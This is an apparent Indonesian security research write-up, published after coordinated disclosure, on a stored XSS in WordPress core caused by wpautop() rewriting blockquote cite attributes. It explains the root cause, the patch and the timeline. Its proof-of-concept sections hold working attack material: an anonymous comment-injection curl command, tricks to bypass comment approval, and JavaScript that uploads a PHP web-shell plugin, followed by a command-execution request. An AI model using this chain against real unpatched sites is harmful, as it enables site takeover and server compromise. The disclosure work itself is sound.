Artikel ini membahas kerentanan stored XSS tanpa autentikasi di WordPress core, dengan nomor CVE-2026-93485. Kalau Anda memakai WordPress, silakan update setidaknya ke versi 7.1.1, atau ke rilis terbaru di branch Anda. Perbaikannya di-backport ke semua branch yang masih di-support sampai 4.7.36.

Dilaporkan lewat program bug bounty WordPress.org di HackerOne dan diperbaiki melalui coordinated disclosure. Tidak ada data yang diakses atau diubah di luar install lokal untuk testing.

Tentang cara WordPress core menampilkan komentar

WordPress men-sanitize komentar saat disimpan dengan KSES, lalu memformatnya saat ditampilkan lewat filter chain comment_text. Kerentanannya ada di celah antara kedua langkah itu.

Allowlist komentar di wp-includes/kses.php:605-633 isinya sedikit. Semua element di dalamnya yang relevan di sini punya nilai atribut: a[href,title], abbr[title], acronym[title], blockquote[cite], del[datetime] dan q[cite]. Allowlist ini juga mengizinkan code.

Saat ditampilkan, filter chain formatting-nya di-register ke filter comment_text:

wp-includes/default-filters.php:225-230

add_filter( 'comment_text', 'wptexturize' );
add_filter( 'comment_text', 'convert_chars' );
add_filter( 'comment_text', 'make_clickable', 9 );
add_filter( 'comment_text', 'force_balance_tags', 25 );
add_filter( 'comment_text', 'convert_smilies', 20 );
add_filter( 'comment_text', 'wpautop', 30 );

Semua filter itu me-rewrite HTML. wptexturize() dan convert_smilies() memecah dokumen berdasarkan tag lebih dulu, jadi tag-nya tetap utuh dan yang di-rewrite cuma teks di antara tag. wpautop() memakai pemecah yang sama, tapi cuma untuk menyembunyikan newline yang ada di dalam tag sebelum dia mencari paragraf. Langkah pelindung itulah tempat kerentanan ini dimulai.

Kerentanan keamanan

Setiap langkah di bawah ini normal kalau dilihat sendiri-sendiri. Kerentanannya justru muncul dari urutan langkah-langkah itu.

Diagram payload komentar pada setiap langkah, dari pengiriman sampai eksekusi
Payload yang sama pada setiap langkah, dari komentar yang dikirim sampai event handler yang aktif. Hanya langkah keempat yang bergantung pada render block template.

KSES menyimpan newline, bahkan bisa membuatnya sendiri

wp_kses_hair() membaca setiap atribut lewat get_attribute(), yang men-decode character reference HTML, lalu meng-encode ulang hasilnya dengan strtr() untuk lima karakter sintaks:

wp-includes/kses.php:1721-1727

	$syntax_characters = array(
		'&' => '&',
		'<' => '&lt;',
		'>' => '&gt;',
		"'" => '&apos;',
		'"' => '&quot;',
	);

\r, \n dan \t tidak ada di daftar itu, jadi newline di dalam nilai atribut lolos tanpa diubah. Karena ada langkah decode tadi, KSES malah bisa membuat sendiri newline-nya. Nilai yang ditulis sebagai cite="a&#10;b" sama sekali tidak memuat newline asli di request-nya, tapi WordPress menyimpannya sebagai 0x0A asli. &#13; dan &#x0a; juga begitu, jadi filter input yang cuma mencari newline asli tidak ada gunanya di sini.

wpautop() menulis ke dalam tag, dan hanya blockquote

Akar masalahnya ada di fungsi wpautop, tapi bukan di bagian yang mencari paragraf. Sebelum sampai ke sana, wpautop() mengambil setiap newline yang ada di dalam tag lalu menukarnya dengan sebuah HTML comment:

wp-includes/formatting.php:502

	// Find newlines in all elements and add placeholders.
	$text = wp_replace_in_html_tags( $text, array( "\n" => ' <!-- wpnl --> ' ) );

Ini langkah pelindung, dan langkah itu berhasil. wp_replace_in_html_tags() jalan di atas pemecah tag yang sama dengan yang dipakai wptexturize(), jadi dia menemukan newline di cite="a\nb" dan pemecah paragrafnya sama sekali tidak melihat newline itu. Yang dilihat sisa fungsinya sebagai gantinya adalah <!-- wpnl --> , sebuah comment yang membawa > sendiri.

Paragraf yang dibutuhkan langkah berikutnya juga bukan berasal dari komentarnya. wpautop() menaruh baris kosong di atas setiap tag pembuka block-level, dan blockquote ada di daftar itu:

wp-includes/formatting.php:490

	// Add a double line break above block-level opening tags.
	$text = preg_replace( '!(<' . $allblocks . '[\s/>])!', "\n\n$1", $text );

Jadi <blockquote> selalu memulai paragrafnya sendiri, apa pun isi komentarnya, lalu loop pembangun ulangnya membungkus paragraf itu dengan <p>:

wp-includes/formatting.php:539-548

	// Split up the contents into an array of strings, separated by double line breaks.
	$paragraphs = preg_split( '/\n\s*\n/', $text, -1, PREG_SPLIT_NO_EMPTY );

	// Reset $text prior to rebuilding.
	$text = '';

	// Rebuild the content as a string, wrapping every bit with a <p>.
	foreach ( $paragraphs as $paragraph ) {
		$text .= '<p>' . trim( $paragraph, "\n" ) . "</p>\n";
	}

Tag-nya sendiri tidak pernah terbelah. preg_split() memotong di baris kosong yang disisipkan baris 490, bukan di dalam tag, jadi seluruh <blockquote> tetap utuh dalam satu potongan dan keluar sebagai <p><blockquote cite="a <!-- wpnl --> b">.

Itulah dokumen yang dibaca langkah terakhir, dan hanya satu baris di wpautop() yang bisa menulis ke dalam tag:

wp-includes/formatting.php:563

	$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );

[^>]* tidak bisa melewati >, jadi dia berhenti di > pertama yang ditemuinya. > itu bukan lagi penutup tag-nya; itu > yang ada di dalam comment <!-- wpnl -->. Hasil capture-nya jadi cite="a <!-- wpnl --, dan <p> dituliskan tepat setelahnya, di tengah nilai cite. Placeholder-nya diubah kembali menjadi newline di akhir fungsi, dan hasilnya seperti ini:

<blockquote cite="a
<p> b"><code>x" onfocus=alert(document.domain) autofocus tabindex=0</code></p></blockquote>

Rewrite itu satu-satunya tempat di wpautop() yang menyisipkan sesuatu ke dalam tag, dan karena itu hanya blockquote yang terdampak. Pada element lain yang diizinkan, <p> yang tersisip jatuh di luar tag dan payload-nya tetap jadi teks biasa.

blockquote[cite] adalah satu-satunya pasangan antara element yang terdampak dan atribut yang diizinkan, jadi cuma ada satu tempat untuk menaruh newline-nya. Cuma newline yang bisa menyiapkannya, sebab "\n" satu-satunya key di replace map baris 502: tab atau spasi di dalam nilai atribut tidak membuat placeholder, tidak membuat > liar, dan tidak menghasilkan sisipan apa pun. Newline-nya bisa ditulis sebagai \n atau \r, sebagai pasangan, atau dalam bentuk entity &#10;, &#13; dan &#x0a;. Satu newline sudah cukup, sebab baris kosong yang membuat <blockquote> punya paragrafnya sendiri berasal dari baris 490, bukan dari komentarnya.

Proses kedua merusak nilai atribut

Dengan adanya <p> di dalam nilai atributnya, filter yang melihat tag sekarang berhenti di > milik <p> itu, sehingga sisa atributnya, termasuk tanda petik " penutupnya, berada di posisi teks. wptexturize() yang pertama di comment_text tetap belum bisa menyentuhnya, karena dia jalan di prioritas 10 sementara wpautop() di prioritas 30, jadi tag-nya masih utuh waktu dokumennya diperiksa.

Yang menyentuhnya adalah proses kedua di get_the_block_template_html(). Proses ini jalan di seluruh halaman setelah semua block dan semua content filter selesai:

wp-includes/block-template.php:297-299

	$content = wptexturize( $content );
	$content = convert_smilies( $content );
	$content = wp_filter_content_tags( $content, 'template' );

Kali ini wptexturize() melihat dokumen yang sudah ditulisi oleh wpautop(). Tanda petik penutupnya sudah tidak ada di dalam element, jadi diubah menjadi &#8221; dan nilai atributnya tidak punya penutup lagi. Karena itu kerentanan ini cuma bisa dieksploitasi kalau situsnya memakai block theme, sebab proses kedua tadi bagian dari render block template.

Tanda petik apa pun bisa menuntaskannya

Karena nilai atributnya tidak punya penutup, browser akan menutup atribut itu di tanda petik " berikutnya yang masih utuh di halaman, lalu membaca semua yang ada setelahnya sebagai atribut milik <blockquote>.

wptexturize() tidak akan mengubah tanda petik yang ada di dalam salah satu no-texturize tag miliknya:

wp-includes/formatting.php:106

		$default_no_texturize_tags       = array( 'pre', 'code', 'kbd', 'style', 'script', 'tt' );

Karena code ada di allowlist komentar, sebuah element <code> bisa menyelipkan tanda petik " yang lolos dari semua filter. Tapi ini bukan satu-satunya cara. Delimiter atribut apa pun di dalam komentar juga bisa, sebab tanda petik yang ada di dalam tag tidak dianggap berada di posisi teks, jadi wptexturize() tidak pernah menganggapnya sebagai tanda petik yang perlu diubah. KSES juga mengizinkan nilai atribut memuat spasi, =, ( dan ), jadi teks yang mendarat di posisi nama atribut bisa membentuk event handler yang benar-benar jalan.

Proof of concept

Komentarnya di-submit secara anonim, tanpa cookie dan tanpa nonce:

curl -si -X POST "https://example.com/wp-comments-post.php" \
  --data-urlencode $'comment=<blockquote cite="a\nb"><code>x" onfocus=alert(document.domain) autofocus tabindex=0</code></blockquote>' \
  -d 'comment_post_ID=123' -d 'author=zqanon' -d 'email=zqanon@example.com' \
  -d 'comment_parent=0'

Komentarnya tersimpan sama persis seperti waktu di-submit. Fetch post itu tanpa cookie sama sekali memberi kita nilai cite yang sudah ada tag paragraf di dalamnya:

<blockquote cite="a
<p> b&#8221;><code>x" onfocus=alert(document.domain) autofocus tabindex=0</code></p></blockquote>

Di browser modern, <blockquote> itu sekarang punya onfocus, autofocus dan tabindex sebagai atribut asli. autofocus menaruh focus ke element itu saat halamannya masih loading, jadi onfocus jalan tanpa interaksi apa pun, dan alert-nya menampilkan origin situs itu sendiri dari document.domain.

Newline dan tanda petiknya sama-sama dibutuhkan. Kalau newline-nya dihapus, tag-nya tetap utuh dan payload-nya tetap jadi isi teks <code>. Kalau tanda petik penutupnya dipindah ke luar element <code>, wptexturize() ikut mengubahnya dan tidak ada atribut yang terbentuk.

Persetujuan komentar bukan penghalang seperti yang terlihat

Moderasi komentar mati secara default: comment_moderation nilainya 0, jadi WordPress tidak menahan semua komentar. Yang menahan komentar dari pengirim baru adalah opsi lain, comment_previously_approved, yang nilainya 1 secara default (wp-admin/includes/schema.php:441 dan :546). Itu sebabnya WordPress memberi judul advisory-nya "subject to comment approval", dan catatan CVE menambahkan bahwa syarat itu "can be bypassed". Tiga dari empat jalur menuju payload yang dirender sama sekali tidak butuh moderator.

  • Pakai ulang identitas komentar bawaan installer. Install bawaan sudah menyertakan satu komentar yang sudah di-approve dari A WordPress Commenter di wapuu@wordpress.example. Komentar yang di-submit dengan nama dan alamat itu langsung di-approve, karena check_comment() mencocokkan nama author dan email-nya sekaligus.
  • Opsinya dimatikan. Kalau "Comment author must have a previously approved comment" tidak dicentang di Settings, Discussion, identitas yang benar-benar baru pun langsung tersimpan dengan status approved.
  • Komentarnya tetap ditahan. Komentar yang masih pending tetap dirender untuk siapa pun yang punya cookie comment_author_<COOKIEHASH>, yaitu siapa pun yang pernah berkomentar di situs itu, lewat tautan ?unapproved=<id>&moderation-hash=<hash> milik penyerangnya sendiri.
  • Moderator meng-approve-nya. Jalur yang biasa, dan satu-satunya yang butuh orang lain.
Rekaman layar seluruh chain, dari komentar anonim sampai eksekusi perintah
WordPress 7.1 bawaan dengan block theme. Pengunjung anonim menanam komentarnya lewat form biasa, administrator membuka post-nya, lalu perintah berjalan sebagai user web server. Handler di dalam komentar hanya menarik uploader-nya dari origin penyerang, sebab uploader yang utuh tidak muat di dalam nilai atribut.

Dari XSS ke RCE

Handler-nya jalan di dalam sesi siapa pun yang membuka halaman itu. Kalau pengunjungnya administrator yang sedang login, script-nya bisa menjangkau plugin installer. Upload plugin adalah eskalasi yang sudah umum dari XSS di konteks administrator menuju eksekusi kode di server.

Endpoint upload memeriksa upload_plugins (wp-admin/update.php:151), yang oleh map_meta_cap() di-map ke capability install_plugins yang dimiliki administrator. Jadi handler-nya bisa mengambil nonce upload dari form installer lalu mem-POST file zip yang berisi PHP shell:

(async () => {
  // 1. Ambil nonce plugin-upload dari form installer.
  const html = await (await fetch('/wp-admin/plugin-install.php?tab=upload',
                                  { credentials: 'include' })).text();
  const form = new DOMParser().parseFromString(html, 'text/html')
                 .querySelector('form.wp-upload-form');
  const nonce = form.querySelector('[name="_wpnonce"]').value;

  // 2. Susun plugin satu file di memori. buildStoredZip() adalah penulis
  //    PKZIP sederhana: local header, stored entry, central directory.
  const php = "<?php /* Plugin Name: X */ if (isset($_GET['c'])) system($_GET['c']);";
  const zip = buildStoredZip('x/x.php', php);

  // 3. Serahkan ke installer. Tanpa file editor dan tanpa FTP.
  const body = new FormData();
  body.append('_wpnonce', nonce);
  body.append('pluginzip', new Blob([zip], { type: 'application/zip' }), 'x.zip');
  await fetch('/wp-admin/update.php?action=upload-plugin',
              { method: 'POST', credentials: 'include', body });
})();

Plugin-nya bahkan tidak perlu di-activate. File-nya sudah ada di disk, dan file plugin bisa diakses langsung, jadi shell-nya langsung merespons:

curl "https://example.com/wp-content/plugins/x/x.php?c=id"

Apa pun yang dikirim lewat c dijalankan sebagai user web server.

Patch

WordPress 7.1.1 memperbaikinya dengan perubahan satu baris. Rewrite <p><blockquote> sekarang memakai subpattern yang mengenali tanda petik, jadi tidak lagi bisa mencocokkan > yang ada di dalam nilai atribut yang diapit tanda petik. Patch-nya bisa dilihat di bawah ini:

wp-includes/formatting.php:563

// Before, WordPress 7.1 and earlier:
$text = preg_replace( '|<p><blockquote([^>]*)>|i', '<blockquote$1><p>', $text );

// After, WordPress 7.1.1:
$text = preg_replace( '!<p><blockquote((?:[^>"\']|"[^"]*"|\'[^\']*\')*)>!i', '<blockquote$1><p>', $text );

Ini sama dengan perbaikan yang diusulkan di laporan kerentanannya, dengan delimiter dipindah dari | ke ! karena subpattern yang baru memuat | miliknya sendiri.

Satu baris sudah cukup karena rewrite itu satu-satunya tempat di wpautop() yang menyisipkan sesuatu ke dalam tag. Dengan subpattern yang baru, capture-nya berjalan sampai akhir nilai berpetik, cite="a <!-- wpnl --> b", dan <p>-nya mendarat setelah > yang benar-benar menutup tag. Semua langkah sebelum baris itu tidak berubah: wp-includes/kses.php tetap menyimpan newline-nya, dan wpautop() tetap menukarnya dengan placeholder yang membawa >.

Timeline

  • 8 September 2026 — Laporan dikirim ke tim WordPress core lewat program bug bounty WordPress.org di HackerOne. Tim security melakukan triage di hari yang sama.
  • 15 September 2026 — Request CVE dari Patchstack.
  • 17 September 2026WordPress 7.1.1 di-release dengan perbaikannya, bersama backport untuk semua branch yang masih di-support sampai 4.7.36.
  • 18 September 2026 — Patchstack meng-assign CVE-2026-93485.
  • 21 September 2026 — Artikel riset ini di-publish.